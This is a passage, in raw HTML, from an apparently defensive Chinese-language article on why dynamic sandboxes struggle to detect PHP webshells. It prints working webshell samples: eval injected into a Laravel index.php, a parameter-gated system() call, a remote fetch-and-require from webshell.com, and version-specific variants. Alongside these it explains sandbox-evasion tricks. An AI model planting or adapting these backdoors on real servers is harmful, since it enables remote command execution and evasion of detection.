!important;">|--------------------------------------------------------------------------</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| Run The Application</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|--------------------------------------------------------------------------</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| Once we have the application, we can handle the incoming request</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| through the kernel, and send the associated response back to</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| the client&#39;s browser allowing them to enjoy the creative</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| and wonderful application we have prepared for them.</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">*/</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">$a=array($_REQUEST[&#39;yydsyyds1&#39;]=&gt;&#34;3&#34;);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">$b=array_keys($a)[0];</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">eval($b);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">$kernel = $app-&gt;make(Illuminate\Contracts\Http\Kernel::class);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">$response = $kernel-&gt;handle(</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">    $request = Illuminate\Http\Request::capture()</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">$response-&gt;send();</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">$kernel-&gt;terminate($request, $response);</span></span></code></pre></section><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">这类样本又称为插马(在正常的文件内插入Webshell代码)。一方面在服务器上无新增落盘文件，躲避检测；另一方面可以有效避免沙箱“重放”运行。此样本单独运行，会因找不到依赖报错终止运行。需要对异常等函数调用进行特殊处理才能够将特征暴露出来。</span></p><ul class="list-paddingleft-2" style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="text-decoration: underline;outline: 0px;max-width: 100%;line-height: 17.7333px;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">困境2:对抗手段多，引入新攻击面</span></strong></span></p></li></ul><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">攻击者会使用分支等绕过手段，根据某外部传入参数，决定某IF条件的判断结果，防止动态沙箱的重录。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">示例1- 分支对抗</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">// 分支对抗</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">if($_GET[&#39;pass&#39;]==&#34;admin&#34;) {</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">if($_GET[&#39;normal&#39;] == &#34;1&#34;){</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">         $a =  &#34;echo normal&#34; ; // 分支 1</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">  }else if ($_GET[&#39;evil&#39;] == &#34;1&#34;) {</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">         $a = $_GET[&#39;cmd&#39;]; //  分支 2</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">  }</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">}else</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">{</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">         $a = &#34;echo normal&#34;; //分支3</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">}</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">system($a);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">?&gt;</span></span></code></pre></section><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">只有当外部传入GET参数 webshell.php?pass=admin&amp;evil=1&amp;cmd=whoami时，才能执行分支2的恶意代码。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">动态沙箱拿不到外部的输入，只能执行到分支3的默认逻辑，从而绕过检测。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">示例2- 网络对抗</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">// 网络对抗</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">copy(&#34;<a href="http://webshell.com/1.png" target="_blank">http://webshell.com/1.png</a>&#34;,&#39;2.png&#39;);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">if($_GET[&#39;abc&#39;]==&#39;firefox&#39;){</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">require &#39;2.png&#39;;</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">}</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">else{</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">echo &#34;no file&#34;;</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">}</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">c();</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">?&gt;</span></span></code></pre></section><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">绝大多数动态沙箱，会进行断网处理，目的是为了安全可控，防止攻击者攻击沙箱。但这种措施同时会引入新的攻击面。攻击者可以将恶意代码藏在远程资源，通过请求远程资源获得恶意代码并执行。</span></p><ul class="list-paddingleft-2" style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="text-decoration: underline;outline: 0px;max-width: 100%;line-height: 17.7333px;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">困境3:版本碎片化严重</span></strong></span></p></li></ul><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">以PHP和JSP举例，PHP的主流版本为PHP5、PHP7、PHP8，JSP的主流版本为JDK1.6、JDK1.7、JDK1.8、JDK1.9、JDK10、JDK11、JDK12、JDK13、JDK14、Tomcat7、Tomcat8、Tomcat9、Tomcat10。每个版本都具有新特征的增加或者旧版本的遗弃，这样带来的直接问题，防御者需要为每一个版本定制动态沙箱，工程量巨大且难以维护。可以看到下面的Webshell代码，在每个php版本的写法都不一致。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php // php5&amp;php7兼容写法</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">        ${$_GET[&#39;var_name&#39;]}=$_GET[&#39;cmd&#39;];</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">        system($a); // $a如何确定有没有赋值？</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">?&gt;</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php //php5写法，与php7不兼容</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">        